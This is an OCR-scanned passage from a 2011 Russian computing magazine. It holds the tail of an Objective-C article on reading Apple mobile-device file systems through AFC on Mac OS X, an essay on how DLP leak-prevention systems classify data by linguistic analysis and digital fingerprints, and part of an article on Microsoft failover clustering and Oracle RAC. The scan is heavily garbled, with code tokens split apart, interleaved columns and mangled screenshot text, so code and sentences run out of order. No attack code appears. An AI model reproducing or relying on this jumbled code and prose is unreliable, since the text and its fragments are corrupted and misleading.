Default Server->МоЬi lеDеviсеs [ [NSMutableArray alloc]

len;

init ] ;

if

init ] ;

(

AFCFi l eRefRead ( conn ,

f i l e_re f ,

buf fer ,

& len )

!= О)

1 / Подпишемся к уведомлениям от MobileDevice . framework struct am_device_no t i f i cation * subscription;

f c l ose ( local_f i l e ) ;

if

AFC F i l eRefC lose ( conn ,

( AМDeviceNo t i f i cat ionSubscribe (

return NO ;

&AmDeviceNo t i f icat ionCallback ,

О , О , О , &subscription) {

/ / Не получилось : I

! = О)

[ DefaultServer->МоЬ i lеDеviсеs release ] ;

fwr i te ( bu f fer ,

len ,

local_f i le ) ;

} while ( l en == s i zeof ( bu f fer ) ) ;

DefaultServer = nil ;

fclose ( local_f i le ) ; AFCFi l eRefClose ( conn ,

@епд

В качестве п р и мера работы с девайсом ч ерез AFC п р и веду реал и ­ зацию метода dоwп lоа d F i lе класса M o bile Device. Всю реал изацию при водить здесь см ысла нет, н о ты може ш ь н а йти ее на диске. ( BOOL)

downloadF i l e :

( NSString * )

toLoca t i on :

ХАКЕР 03 / 1 46/ 2 0 1 1

f i l e_re f ) ;

return YES ;

return Default Server;

-

1,

[ DefaultServer release ] ;

remote-path loca1-path

(NSString * )

Закл ючение

Теперь, зная, как из Мас 05 Х получить доступ к файловой систем е мобильных устройств Apple, для тебя несложно будет нап исать подо­ бие iPhone folders и других альтернативных утилит. Дополн ительным плюсом работы с i Pod/i Phone из Мас 05 Х я вляется то, что нет необ­ ходи мости устанавли вать стороннее програ м м ное обеспечен ие, как в виндах [iTunes, Apple mobile device support и так далее). Все будет работать на голой системе с диска. :Х:

� 117


• • Рустэм

Х а Й р е ТД И Н О 8 . з а м е с т и т е л ь г е н е р а л ь н о г о д и р е к т о р а

InfoWatch

К а к р аб о т а ю т DLР- системы?

Р азбирае мся в тех нол ог ия х предот вра щения

утеч ки инф о р м а ц ии Если быть достаточно последовательным в о п ределен иях, то можно сказать, что и нформационная безопасность началась именно с появлен ия DLP-систем . До этого все продукты, которые занимались « ин формационной безопасностью», на самом деле защищали не и нформацию, а ин фраструктуру - места хранен ия, передачи и обработки данных.

Компьютер, приложение или канал, в которых находится, обраба­ тывается или передается конфиденциальная информация, защи­ щаются этими продуктами точно так же, как и инфраструктура, в которой обращается совершенно безобидная информация. То есть

Л ин гв истический анализ

Использование стоп-слов (<<секретно», «конфиденциально»

И тому

подобных) для блокировки исходящих электронных сообщений в

почтовых серверах можно считать прародителем современных DLP­

именно с появлением DLР-продуктов информационные системы

систем. Конечно, от злоумышленников это не защищает -удалить

научились наконец-то отличать конфиденциальную информацию

стоп-слово, чаще всего вынесенное в отдельный гриф документа, не

от неконфиденциальноЙ. Возможно, с встраиванием DLР-техноло­

составляет труда, при этом смысл текста нисколько не изменится.

гий в информационную инфраструктуру компании смогут сильно

Толчок в разработке лингвистических технологий бьш сделан в

сэкономить на защите информации - например, использовать

начале этого века создателями еmаil-фильтров. Прежде всего, для

шифрование только в тех случаях, когда хранится или передается

защиты электронной почты от спама. Это сейчас в антиспамовских

конфиденциальная информация, и не шифровать информацию в

технологиях преобладают репутационные методы, а в начале века

других случаях.

шла настоящая лингвистическая война между снарядом и броней

Однако это дело будущего, а в настоящем данные технологии

- спамерами и антиспамерами. Помните простейшие методы для

используются в основном для защиты информации от утечек.

Технологии категоризации информации составляют ядро DLР-сис­

обмана фильтров, базирующихся на стоп-словах? Замена букв на похожие буквы из других кодировок или цифры, транслит, случай­

тем. Каждый производитель считает свои методы детектирования

ным образом расставленные пробелы, подчеркивания или переходы

конфиденциальной информации уникальными, защищает их

строк в тексте. Антиспамерыдовольно быстро научились бороться с

патентами и придумывает для них специальные торговые марки.

такими хитростями, но тогда появился графический спам и прочие

Ведь остальные, отличные от этих технологий, элементы архнтек­

хитрые разновидности нежелательной корреспонденции.

туры (перехватчики протоколов, парсеры форматов, управление

Однако использовать антиспамерские технологии в DLP-проДУКтах

инцидентами и хранилища данных) у большинства производителей

без серьезной доработки невозможно. Ведь для борьбы со спамом

идентичны, а у крупных компаний даже интегрированы с другими

достаточно делить информационный поток на две категории: спам

продуктами безопасности информационной инфраструктуры.

и не спам. Метод Байеса, который используется при детектировании

В основном для категоризации данных в продуктах по защите корпо­

спама, дает только бинарный результат: «да» или «нет». для защиты

ративной информации от утечек используются две основных груп­

корпоративных данных от утечек этого недостаточно -нельзя

пы технологий -лингвистический (морфологический, семантичес­

просто делить информацию на конфиденциальную и неконфи­

кий) анализ и статистические методы (Digital Fingerprints, Document

денциальную. Нужно уметь классифицировать информацию по

DNA, антиплагиат) . Каждая технология имеет свои сильные и

функциональной принадлежности (финансовая, производствен­

слабые стороны, которые определяют область их применения.

ная, технологическая, коммерческая, маркетинговая), а внутри

� 118

ХАКЕР 03 / 1 46/ 2 0 1 1


I I

классов - категоризировать ее по уровню доступа

(для свободного

распространения, для ограниченного доступа, для служебного

использования, секретная, совершенно секретная и так далее ) .

Третьим достоинством лингвистических технологий является их масштабируемость. Скорость обработки информации пропорци­ ональна ее количеству и абсолютно не зависит от количества катего­

Большинство современных систем лингвистического анализа ис­

рий.

пользуют не только контекстный анализ (то есть в каком контексте,

До недавнего времени построение иерархической базы категорий

в сочетании с какими другими словами используется конкретный

(исторически ее называют БКФ - база контентной фильтрации, но

термин), но и семантический анализ текста. Эти технологии рабо­

это название уже не отражает настоящего смысла) выглядело неким

тают тем эффективнее, чем больше анализируемый фрагмент. На

шаманством профессиональных лингвистов, поэтому настройку

большом фрагменте текста точнее проводится анализ, с большей

БКФ можно бьшо смело отнести к недостаткам. Но с выходом в 2010

вероятностью определяется категория и класс документа. При

сразу нескольких продуктов-«автолингвистов» построение первич­

анализе же коротких сообщений (SMS, интернет-пейджеры) ничего

ной базы категорий стало предельно простым - системе указыва­

лучшего, чем стоп-слова, до сих пор не придумано. Автор столкнулся

ются места, где хранятся документы определенной категории, и она

с такой задачей осенью 2008 года, когда с рабочих мест многих бан­

сама определяет лингвистические признаки этой категории, а при

ков через мессенджеры пошли в Сеть тысячи сообщений типа «нас

ложных срабатываннях - самостоятельно обучается. Так что теперь

сокращают», «отберут лицензию», «отток вкладчиков», которые

к достоинствам лингвистических технологий добавилась простота

нужно бьшо немедленно заблокировать у своих клиентов.

настройки.

Достоинства технологии

чется отметить в статье - возможность детектировать в информа­

Достоинства лингвистических технологий в том, что они работают

И еще одно достоинство лингвистических технологий, которое хо­

ционных потоках категории, не связанные с документами, находя­

напрямую с содержанием документов, то есть им не важно, где и

щимися внутри компании. Инструмент для контроля содержимого

как бьш создан документ, какой на нем гриф и как называется файл

информационных потоков может определять такие категории, как

- документы защищаются немедленно. Это важно, например, при

противоправная деятельность (пиратство, распространение за­

обработке черновиков конфиденциальных документов или для

прещенных товаров), использование инфраструктуры компании в

защиты входящей документации. Если документы, созданные и ис­

собственных целях, нанесение вреда имиджу компании (например,

пользующиеся внутри компании, еще как-то можно специфическим

распространение порочащих слухов) и так далее.

образом именовать, грифовать или метить, то входящие документы могут иметь не принятые в организации грифы и метки. Черновики

Недостатки технологий

(если они, конечно, не создаются в системе защищенногодокумен­

Основным недостатком лингвистических технологий является их

тооборота) тоже могут уже содержать конфиденциальную информа­

зависимость от языка. Невозможно использовать лингвистический

цию, но еще не содержать необходимых грифов и меток.

движок, разработанный для одного языка, в целях анализа друго-

Еще одно достоинство лингвистических технологий - их обуча­ емость. Если ты хоть раз в жизни нажимал в почтовом клиенте

го. Это бьшо особенно заметно при выходе на российский рынок

американских производителей - они бьши не готовы столкнуться с

кнопку «Не спам», то уже представляешь клиентскую часть системы

российским словообразованием и наличием шести кодировок. Не­

обучения лингвистического движка. Замечу, что тебе совершенно

достаточно бьшо перевести на русский язык категории и ключевые

не нужно бытьдипломированным лингвистом и знать, что именно

слова - в английском языке словообразование довольно простое,

изменится в базе категорий -достаточно указать системе ложное

а падежи выносятся в предлоги, то есть при изменении падежа

срабатывание, все остальное она сделает сама.

меняется предлог, а не само слово. Большинство существительных в

ХАКЕР 03 11 46/ 2 0 1 1

� 119


ОПТИМИЗАЦИЯ БИЗНЕС-П РОЦЕССОВ, ПОВЫ ШЕНИЕ ЭФФЕКТИВНОСТИ РАБОТЫ ПЕРСОНАЛА

PRE-DLP

ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ DLP

АУДИТ КОРПОРАТИВНОЙ И НФОРМАЦИИ

ЗАЩИТА И НФОРМАЦИИ ОТ УТЕЧКИ

POST-DLP

КОМП ЬЮТЕРНАЯ КРИМИ НАЛИСТИКА (ФОРЕНСИКА)

ОБЕСПЕЧЕНИЕ СООТВЕТСТВИЯ ТРЕБОВАН ИЯМ МЕЖДУНАРОДНЫХ И НАЦИОНАЛЬНЫХ РЕГУЛЯТОРОВ

английском языке становятся глаголами без изменений слова. И так

информации будет ошибочно причислено не к тому классу со всеми

далее. В русском все не так - один корень может породить десятки

вытекающими для бизнеса последствиями (утечка или прерывание

слов в разных частях речи.

легитимного процесса) .

В Германии американских производителей лингвистических

Обычно не принято относить к недостаткам сложность разработки

технологий встретила другая проблема - так называемые «компа­

технологии, но не упомянуть о ней нельзя. Разработка серьезного

УНДЫ», составные слова. В немецком языке принято присоединять

лингвистического движка с категоризацией текстов более чем по

определения к главному слову, в результате чего получаются слова,

двум категориям - наукоемкий ИДОВОЛЬНО сложный технологи­

иногда состоящие из десятка корней. В английском языке такого

чески процесс. Прикладная лингвистика - быстро развивающаяся

нет, там слово - последовательность букв междудвумя пробелами,

наука, получившая сильный толчок в развитии с распространением

соответственно английский лингвистический движок оказался

интернет-поиска, но сегодня на рынке присутствуют единицы рабо­

неспособен обработать незнакомые длинные слова. Справедливости ради следует сказать, что сейчас эти проблемы во

тоспособных движков категоризации: для русского языка их всего

два, а для некоторых языков их просто еще не разработали. Поэтому

многом американскими производителями решены. Пришлось до­

на DLР-рынке существует лишь пара компаний, которые способны

вольно сильно переделать (а иногда и писать заново) языковойдви­

в полной мере категоризировать информацию «на лету». Можно

жок, но большие рынки России и Германии наверняка того стоят.

предположить, что когда рынок DLP увеличится до многомиллиар­

Также сложно обрабатывать лингвистическими технологиями муль­

дных размеров, на него с легкостью выйдет Google. С собственным

тиязычные тексты. Однако с двумя языками большинство движков

лингвистическим движком, оттестированным на триллионах поис­

все-таки справляются, обычно это национальный язык + англий­

ковых запросов по тысячам категорий, ему не составит труда сразу

ский - для большинства бизнес-задач этого вполне достаточно.

отхватить серьезный кусок этого рынка.

Хотя автору встречались конфиденциальные тексты, содержащие, например, одновременно казахский, русский и английский, но это

Статистические методы

скорее исключение, чем правило.

Задача компьютерного поиска значимых цитат (почему именно

Еще одним недостатком лингвистических технологий для контроля

«значимых» - немного позже) заинтересовала лингвистов еще в

всего спектра корпоративной конфиденциальной информации

70-х годах прошлого века, если не раньше. Текст разбивался на куски

является то, что не вся конфиденциальная информация находится в

определенного размера, с каждого из которых снимался хеш. Если

виде связных текстов. Хотя в базах данных информация и хранится

некоторая последовательность хешей встречалась в двух текстах

в текстовом виде, и нет никаких проблем извлечь текст из СУБД,

одновременно, то с большой вероятностью тексты в этих областях

полученная информация чаще всего содержит имена собственные

совпадали.

- ФИО, адреса, названия компаний, а также цифровую информа­

Побочным продуктом исследований в этой области является, напри­

цию - номера счетов, кредитных карт, их баланс и прочее. Обра­

мер, «альтернативная хронология» Анатолия Фоменко, уважаемого

ботка подобныхданных с помощью лингвистики много пользы не

ученого, который занимался «корреляциями текстов» и однажды

принесет. То же самое можно сказать о форматах СЛD/САМ, то есть

сравнил русские летописи разных исторических периодов. Удивив­

чертеl�, в которых зачастую содержится интеллектуальная собс­

шись, насколько совпадают летописи разных веков (более чем на

твенность, программных кодах и медийных (видео/аудио) форма­

60%), в конце 70-х он выдвинул теорию, что наша хронология на

тах -какие-то тексты из них можно извлечь, но их обработка также

несколько веков короче. Поэтому, когда какая-то выходящая на ры­

неэффективна. Еще года три назад это касалось и отсканированных

нок DLР-компания предлагает «революционную технологию поиска

текстов, но лидирующие производители DLР-систем оперативно до­

цитат» , можно с большой вероятностью утверждать, что ничего,

бавили оптическое распознавание и справились с этой проблемоЙ.

кроме новой торговой марки, компания не создала.

Но самым большим и наиболее часто критикуемым недостатком

Статистические технологии относятся к текстам не как к связной

лингвистических технологий является все-таки вероятностный

последовательности слов, а как к произвольной последовательности

подход к категоризации. Если ты когда-нибудь читал письмо с кате­

символов, поэтому одинаково хорошо работают с текстами на любых

горией «Probably SPAМ», то поймешь, о чем я. Если такое творится

языках. Поскольку любой цифровой объект - хоть картинка, хоть

со спамом, где всего две категории (спам/не спам) , можно себе

программа - тоже последовательность символов, то те же методы

представить, что будет, когда в систему загрузят несколько десятков

могут применяться для анализа не только текстовой информации,

категорий и классов конфиденциальности. Хотя обучением системы можно достигнуть 92-95% точности, для большинства пользовате­

лей это означает, что каждое десятое или двадцатое перемещение

� 120

но и любых цифровых объектов. И если совпадают хеши в двух

аудиофайлах - наверняка в одном из них содержится цитата из другого, поэтому статистические методы являются эффективными ХАКЕР 03 / 1 46/ 2 0 1 1


средствами защиты от утечки аудио и видео, активно применяющиеся

каждого исходящего письма сравнивается уже не с тремя сотнями,

в музыкальных студиях и кинокомпаниях.

а с МИJVIионами отпечатков-образцов, что существенно замедляет

Самое время вернуться к понятию «значимая цитата». Ключевой

работу почтовой системы, вызывая задержки в десятки минут.

характеристикой сложного хеша, снимаемого с защищаемого объ­

Как я и обещал выше, опишу свой опыт по защите динамических объ­

екта (который в разных продуктах называется то Digital Fingerprint,

ектов с помощью статистических методов. Время снятия отпечатка

то Document DNA) , является шаг, с которым снимается хеш. Как

напрямую зависит от размера файла и его формата. для текстового

можно понять из описания, такой « оmечаток» является уникалъной

документа типа этой статьи это занимает доли секунды, для полуто­

характеристикой объекта и при этом имеет свой размер. Это важно,

рачасового МР4-фильма -десятки секунд. для редкоизменяемых

поскольку если снять отпечатки с МИJVIионовдокументов (а это объем

файлов это не критично, но если объект меняется каждую минуту

хранилища среднего банка), то для хранения всех оmечатков понадо­

или даже секунду, то возникает проблема: после каждого изменения

битсядостаточное количестводискового пространства. От шага хеша

объекта с него нужно снять новый отпечаток. . . Код, над которым

зависит размер такого отпечатка -чем меньше шаг, тем больше оmе­

работает программист, еще не самая большая сложность, гораздо

чаток. Если снимать хеш с шагом в один символ, то размер отпечатка

хуже с базами данных, используемыми в БИJVIинге, ЛБС или сal!-цен­

превысит размер самого образца. Если для уменьшения « веса» оmе­

трах. Если время снятия отпечатка больше, чем время неизменности

чатка увеличить шаг (например, 10 000 символов) , то вместе с этим

объекта, то задача решения не имеет. Это не такой уж и экзотичес­

увеличивается вероятность того, что документ, содержащий цитату из

кий случай - например, отпечаток базы данных, хранящей номера

образца длиной в 9 900 символов, будет конфиденциальным, но при

телефонов клиентов федерального сотового оператора, снимается

этом проскочит незаметно.

несколько дней, а меняется ежесекундно. Поэтому, когда DLР-вендор

С другой стороны, если для увеличения точностидетекта брать очень

мелкий шаг, несколько символов, то можно увеличить количество

ложных срабатываний до неприемлемой величины. В терминах текс­ та это означает, что не стоит снимать хеш с каждой буквы - все слова состоят из букв, и система будет принимать наличие букв в тексте за

утверждает,что его продукт может защитить вашу базу данных, мыс­ ленно добавляйте слово «квазистатическую» .

Единство и бор ьба .. п-ротиво п оло*ностеи

содержание цитать! из текста-образца. Обычно производители сами

Как видно из предыдущего раздела статьи, сила одной технологии

рекомендуют некоторый оптималъный шаг снятия хешей, чтобы

проявляется там, где слаба другая. Лингвистике не нужны образцы,

размер цитаты бьш достаточный и при этом вес самого отпечатка бьш

она категоризирует данные на лету и может защищать информа­

небольшой -от 3% (текст) до 15% (сжатое видео). В некоторых про­

цию, с которой случайно илиумышленно не бьш снят отпечаток.

дуктах производители позволяют менять размер значимости цитаты,

Отпечаток дает лучшую точность и поэтому предпочтительнее для

то есть увеличивать или уменьшать шаг хеша.

Достоинства технологии

Как можно понять из описания, для детектирования цитаты нужен

использования в автоматическом режиме. Лингвистика отлично

работает с текстами, отпечатки - с другими форматами хранения информации. Поэтому большинство компаний-лидеров используют в своих раз­

объект-образец. и статистические методы могут с хорошей точнос­

работках обе технологии, при этом одна из них является основной, а

тью (до 100%) сказать, есть в проверяемом файле значимая цитата

другая - дополнительной. Это связано с тем, что изначально продук-

из образца или нет. То есть система не берет на себя ответственность

ты компании использовали только однутехнологию, в которой ком­

за категоризацию документов -такая работа полностью лежит на

пaHия продвинулась дальше, а затем, по требованию рынка, бьша

совести того, кто категоризировал файлы перед снятием оmечатков.

подключена вторая. Так, например, ранее InfoWatch использовал

Это сильно облегчает защиту информации в случае, если на предпри­

только лицензированную лингвистическую технологию Morph-O­

ятии в некотором месте (местах) хранятся нечасто изменяющиеся и

Logic, а Websense -технологию PreciseID, относящуюся к категории

уже категоризированные файлы. Тогда достаточно с каждого из этих

Digital Fingerprint, но сейчас компании используют оба метода.

файлов снять отпечаток, и система будет, в соответствии с настрой­

В идеале использовать две эти технологии нужно не параллельно, а

ками, блокировать пересьшкуили копирование файлов, содержащих

последовательно. Например, отпечатки лучше справятся с опреде­

значимые цитаты из образцов.

лением типа документа -договор это или балансовая ведомость,

Независимость статистических методов от языка текста и нетексто­

например. Затем можио подключать уже лингвистическую базу,

вой информации -тоже неоспоримое преимущество. Они хороши при защите статических цифровых объектов любого типа -карти­

созданную специально для этой категории. Это сильно экономит

вычислительные ресурсы.

нок, аудио/видео, баз данных. Про защиту динамических объектов я

За пределами статьи остались еще несколько типов технологий,

расскажу в разделе « недостатки».

используемых в DLP-проДУКтах. К таким относятся, например, ана­

Недостатки технологии

Как и в случае с лингвистикой, недостатки технологии - обратная

лизатор структур, позволяющий находить в объектах формальные структуры (номера кредитных карт, паспортов, ИНН и так далее), которые невозможно детектировать ни с помощью лингвистики, ни

сторона достоинств. Простота обучения системы (указал системе

с помощью отпечатков. Также не раскрыта тема разного типа меток

файл, и он уже защищен) перекладывает на пользователя ответс­

- от записей в атрибутных полях файла или просто специального на­

твенность за обучение системы. Если вдруг конфиденциальный файл

именования файлов до специальных криптоконтеЙнеров. Последняя

оказался не в том месте либо не бьш проиндексирован по халатности

технология отживает свое, поскольку большинство производителей

или злому умыслу, то система его защищать не будет. Соответствен­

предпочитает не изобретать велосипед самостоятельно, а интегри­

но, компании, заботящиеся о защите конфиденциальной информа­

роваться с производителями DRМ-систем, такими как Oracle 'RМ или

ции от утечки, должны предусмотреть процедуру контроля того, как

Мiсrosоft RМS.

индексируются DLР-системой конфиденциальные файлы.

DLP-проДУКты - быстроразвивающаяся отрасль информационной

Еще один недостаток- физический размер отпечатка. Автор неод­

безопасности, у некоторых производителей новые версии выходят

HoKpaTHo видел впечатляющие пилотные проекты на оmечатках, ког­

очень часто, более одного раза в год.

да DLР-система со 100% вероятностью блокирует пересьшку докумен­

С нетерпением ждем появления новых технологий анализа корпо­

тов, содержащих значимые цитаты из трехсот документов-образцов.

ративного информационного поля для увеличения эффективности

Однако через год эксплуатации системы в боевом режиме отпечаток ХАКЕР 03 / 1 46/ 2 0 1 1

защиты конфиденциальной информации. ::х::

• 121

I


• • А н н а Л уч н и к . руководитель

IT - A c a d e m y

8 М К М ГУ

& S o f t l i n e it-un iversity.ru

Т и та н ы кластерного фр о н т а Р е ш ения для постр о ения кл астер о в от Мiс r о s о ft и Oracle Как известно, кластеры позволяют решать п роблемы, связа нные с производительностью, балансировкой нагрузки и отказоустойчивостью. Для построен ия кластеров используются различ ные решен ия и технологии, как на программном, так и на а ппаратном уровне. В этой статье будут рассмотрены программные решения, п редлагаемые компаниями Мiсrоsоft и Oracle.

Виды кл а стеров

Кластер -это группа независимых компьютеров (так называемых

узлов или ноДов), К которой можно получить доступ как к единой

Oracle RЛС и Network Load Balancing являются примерами active/ active кластера. Failover Cluster в Windows Server служит примером active/passive кластера. для организации active/active кластера тре­

системе. Кластеры могут быть предназначены для решения одной

буются более изощренные механизмы, которые позвоiIяют несколь­

или нескольких задач. Традиционно выделяют три типа кластеров:

ким узлам обращаться к одному ресурсу и синхронизовать изме­

• Кластеры высокой готовности или отказоустойчивые кластеры

нения между всеми узлами. для организации кластера требуется,

(high-availabilityclusters или failover clusters) используют избыточные

чтобы узлы были объединены в сеть, для чего наиболее часто исполь­

узлы для обеспечения работы в случае отказа одного из узлов.

зуется либо традиционный Ethernet, либо InfiniBand. Программные

• Кластеры балансировки нагрузки Cload-balancing clusters) служат

реmения могут быть довольно чувствительны к задержкам - так,

для распределения запросов от клиентов по нескольким серверам,

например, для Oracle RЛС задержки не должны превыmать lS мс. В

образующим кластер.

качестве технологий хранения могут выступать Fibre Channel, iSCSI

• Вычислительные кластеры (compute clusters), как следует из назва­

или NFS файловые сервера. Однако оставим аппаратные технологии

ния, используются в вычислительных целях, когда задачу можно раз­

за рамками статьи и перейдем к рассмотрению решений на уровне

делить на несколько подзадач, каждая из которых может выполнять­

операционной системы (на примере Windows Server 2008 R2) и тех­

ся на отдельном узле. Отдельно выделяют высокопроизводительные

HoлoгияM' которые позволяют организовать кластер для конкретной

кластеры (НРС - high performance computing clusters), которые составляют около 82% систем в рейтинге суперкомпьютеров TopSOO.

базы данных (OracleDatabase l l g) , но на любой поддерживаемой ОС.

Системы распределенных вычислений (gird) иногда относят к

Windows Clustering

отдельному типу кластеров, который может состоять из террито­

у Мiсrosоft существуют решения для реализации каждого из трех

риально разнесенных серверов с отличающимися операционными

типов кластеров. В состав Windows Server 2008 R2 входят две техноло­

системами и аппаратной конфигурацией. В случае грид-вычислений

гии: Network Load Вalапсiпg (NLB) Сlustеги Failover Cluster. Существу­

взаимодействия между узлами происходят значительно реже, чем

ет отдельная редакция Windows Server 2008 НРС Edition для органи -

в вычислительных кластерах. В грид-системах могут быть объеди­

зации высокопроизводительных вычислительных сред. Эта редакция

HeHы НРС-кластеры, обычные рабочие станции и другие устройс­

лицензируется только для запуска НРС-приложений, то есть на таком

тва. Такую систему можно рассматривать как обобщение понятия «кластер", ластеры могут быть сконфигурированы в режиме работы active/active, в этом случае все узлы обрабатывают запросы пользо­ вателей и ни один из них не про стаивает в режиме ожидания, как это происходит в варианте active/passive.

� 1 22

сервере нельзя запускать базы данных, web- или почтовые сервера.

NLВ-кластер используется для фильтрации и распределения ТСРЛР­

трафика междуузлами. Такой тип кластера предназначен для работы с сетевыми приложениями - например, IIS, VPN или межсетевым эк­

раном. Могут возникать сложности с приложениями, которые полага-

ХАКЕР 03 / 1 46/ 2 0 1 1


I

ются на сессионные данные, при перенаправлении клиента на другой

На втором этапе на каждый узел требуется добавить компонент

узел, на котором этих данных нет. В NLВ-кластер можно включать до

Failover Clustering - например, через Server Manager. Эту задачу

тридцати двух узлов на хб4-редакциях, и до шестнадцати - на х8б.

можно выполнять с использованием учетной записи, обладающей

Failoverclustering -это кластеризации с переходом по отказу, хотя

административными правами на каждом узле. Серверы должны

довольно часто термин переводят как « отказоустойчивые кластеры».

принадлежать к одному домену. Желательно, чтобы все узлы клас­

Узлы кластера объединены программно и физически с помощью

тера бьmи с одинаковой ролью, причем лучше использовать роль

LAN- или WAN-сети, для multi-site кластера в Windows Server 2008

member server, так как роль domain controller чревата возможными

убрано требование к общей задержке 500 мс, и добавлена возмож­

проблемами с DNS и Exchange.

ность гибко настраивать heartbeat. В случае сбоя или планового

Третий не обязательный, но желательный этап заключается в про­

отключения сервера кластеризованные ресурсы переносятся на

верке конфигурации. Проверка запускается через оснастку Failover

другой узел. В Enterprise edition в кластер можно объединять до шест­

Cluster Management. Если для проверки конфигурации указан только

надцати узлов, при этом пятнадцать из них будут простаивать до тех

один узел, то часть проверок будет пропущена (рис. 1 ) .

пор, пока не произойдет сбой. Приложения без поддержки кластеров

Н а четвертом этапе создается кластер. для этого и з Failover Cluster

(cluster-unaware) не взаимодействуют со службами кластера и могут быть переключены на другой узел только в случае аппаратного сбоя.

Management запускается мастер Create Cluster, в котором указывают­ ся серверы, включаемые в кластер, имя кластера и дополнительные

Приложения с поддержкой кластеров (cluster-aware) , разработанные

настройки IP-aдpeca. Если серверы подключены к сетям, которые не

с использованием ClusterAPI, могут быть защищены от программных

будут использоваться для общения в рамках кластера (например,

и аппаратных сбоев.

Ра з вертывание fаilоvеr- кластера

подключение только для обмена данными с хранилищем), то в свойс­

твах этой сети в Failover Cluster Management необходимо установить параметр «Оо not allow the cluster to use this network» .

Процедуруустановки кластера можно разделить на четыре эта-

После этого можно приступить К настройке приложения, которое

па. На первом этапе необходимо сконфигурировать аппаратную

требуется сконфигурировать для обеспечения его высокой доступ­

часть, которая должна соответствовать The Microsoft Support Policy forWindows Server 2008 Failover Clusters. Все узлы кластера долж­ Hы состоять из одинаковых или сходных компонентов. Все узлы кластера должны иметь доступ к хранилищу, созданному с исполь­ зованием FibreChannel, iSCSI или Serial Attached SCSI. От хранилищ,

ности. для этого необходимо запустить High Availability Wizard,

который можно найти в Services and Applications оснастки Failover

Cluster Management (рис. 2) .

Cluster Shared Volumes

работающих с Windows Server 2008, требуется поддержка persistent

В случае fаilоvег-кластера доступ K LUN, хранящему данные, может

reservations.

осуществлять только активный узел, который владеет этим ресурсом

ХАКЕР 03 / 1 46/ 2 0 1 1

� 1 23


�} Validat e

а

Configuration W izard

.

"'

.

.

Sum mary

т esting has completed 'о! the tests уои selected. Т о confirm that уои! cluster solution is

Before Уои Begin

supported, уou must run all tests. А cluster solution is supported Ьу Мiсrоsоft only if it passes all cluster validation tests.

т esting Options

т est S election

S u cce s s

Confirmation Validating

Validate C l u ster Network C o nfiguration

S u cce s s

Val i d ate I P C o nfig u ration

S u cce s s

Va lidate Network Comm u n icati o n

Not Ap p l i cabIe

Va lidate W i n d o w s Fire w a l l C o nfi gurati o n

S u cce s s

т о view the report created Ьу the wizard, click View Report. т о close this wizard, click Finish.

View R eport. . .

I

M ore аЬои! cluster validation tests

Finish

Рис. 1. Проверка конфиrypации fаilоvеr-кластера (рис. 3). При переключении на другой узел происходит размонти­

ра, перед записью данных на диск узлы запрашивают разрешение ууз­

рование LUN и монтирование его для другого узла. В большинстве

ла-координатора. При этом, если запись требует изменений на уровне

случаев эта задержка не является критичной, но при виртуализации

файловой системы (например, смена атрибутов файла илиувеличенне

можеттребоваться вообще нулевая задержка на переключение вир­

его размера), то записью занимается сам узел-координатор.

туальных машин с одного узла на другой. Еще одна проблема, возникающая из-за того, что LUN является ми­

Oracle RAC

нимальной единицей обхода отказа, заключается в том, что при сбое

Oracle Real Application Clusters (RЛС) - это дополнительная опция

одного приложения, находящегося на LUN, приходится переключать

Oracle Database, которая впервые появилась в Oracle Database 9i

все приложения, которые храиятся на этом LUN, на другой сервер. Во

под названием OPS (Oracle Parallel Server) . Опция предоставляет

всех приложениях (включая Hyper-V до второго релиза Server 2008)

возможность нескольким экземплярам совместно обращаться

это удавалось обходить за счет многочисленных LUN, на каждом

к одной базе данных. Базой данных в Oracle Database называет-

из которых хранились данные только одного приложения. В Server 2008 R2 появилось решение для этих проблем, но предназначенное

для работы только с Hyper-V и CSV (Cluster Shared Volumes) . CSV

Ссылки по теме

позволяет размещать на общем хранилище виртуальные машины, запускаемые на разных узлах кластера - тем самым разбивается зависимость междуресурсами приложения (в данном случае

H i g h Ava i la b i lity р е ш е н и я от M i c rosoft: m i c гosoft . c o m/

wi n d owsserver2008/e n/u s/h igh -avai la b i lity. a spx ; П одбо р ка с с ы л о к на документа ц и ю и ресурсы п о

виртуальными машинами) и дисковыми ресурсами. В качестве

файловой системы CSV использует обычную NTFS. для включения

CSV необходимо в Failover Cluster Manage вьшолнить команду Enable

Fa i love r C lustering и N L B : blogs . m s d n . co m/bIclu steri ng/

a rc h ive/20 09/08/2 1 /987828 6 . a spx [блог - C lu steri n g a n d H i g h ­

Cluster Shared Volumes. Отключить поддержку СSV можно только

Аvа i lа Ь i litу с одержит м н о го полезной и нф о р м а ц и и ) ;

через консоль: Get -Cluster I % { $_ . EnableSharedVolumes = " Di sabled " }

для использования этой команды должен бьпъ загружен Failover Clusters, модуль PowerShell. Использование CSV совместно с live

migration позволяет перемещать виртуальные машины между физи­ ческими серверами в считанные миллисекунды, без обрыва сетевых соединений и совершенно прозрачно для пользователей. Стоит отме­

тить, что копировать любые данные

(например, готовые виртуальные

машины) на общие диски, использующие CSV, следует черезузел-коор­

Докуме нта ция и дистр и бути в ы O ra c le RAC : o ra c le . com/

tech netwo rk/d ata base/c lu ste ri ng/overvi ew/i n d e x . h t m l ; •

Доку м е нта ц и я и дистр и бути в ы O ra c le C lusteгwa re и O ra c le

G rid I n fra st ructu re : orac le . c o m/te c h n etwork/data base/ clu ste гwa re/ove rvi ew/i n d ex . h t m l ; •

Н а стро й ка O ra c le C lu steгware дл я за щиты S i n g le I n stance

O ra c le Database 1 1 g: o ra c le . c o m/tec h netwo rk/data base/s i - d b ­ fa i lover- 1 1 g- 1 34623 .pd f.

динатор. Несмотря на то, что общийдискдоступен со всех узлов класте-

� 1 24

ХАКЕР 03 / 1 46/ 2 0 1 1


Select

Service or AppI icetion

Вefote You 8egin sdect Seмce ог �catюп

..

I I

1)eSCЦJIb,: А YitUaI rnaChrIe Is а virtuaized �« system nn*1g on а PhYSICaI �er. � YitUaI maCNneS сап rm on one �er.

WINS Setv«

МoreaЬOUtserШ:es ondappIicationsyouсмconfiovrefq тфIVajlamI;1y <

PnМOUS

N8ICI _ > 11 _ ....

__ _ Dlncei _---'

Рис. 2. High availability wizard ся совокупность файлов данных, журнальных файлов, файлов

дисков, которые могут выйти из строя одновременно - нanример,

параметров и некоторых других типов файлов. для того, чтобы

диски, подсоединенные к одному контролеру) , при этом зеркали­

пользовательские процессы могли получить доступ к этим данным,

рование осуществляется на диски, принадлежащие разным Failure

должен быть запущен экземпляр. Экземпляр (instance) в свою

Group. При добавлении или удалении дисков ASM автоматически

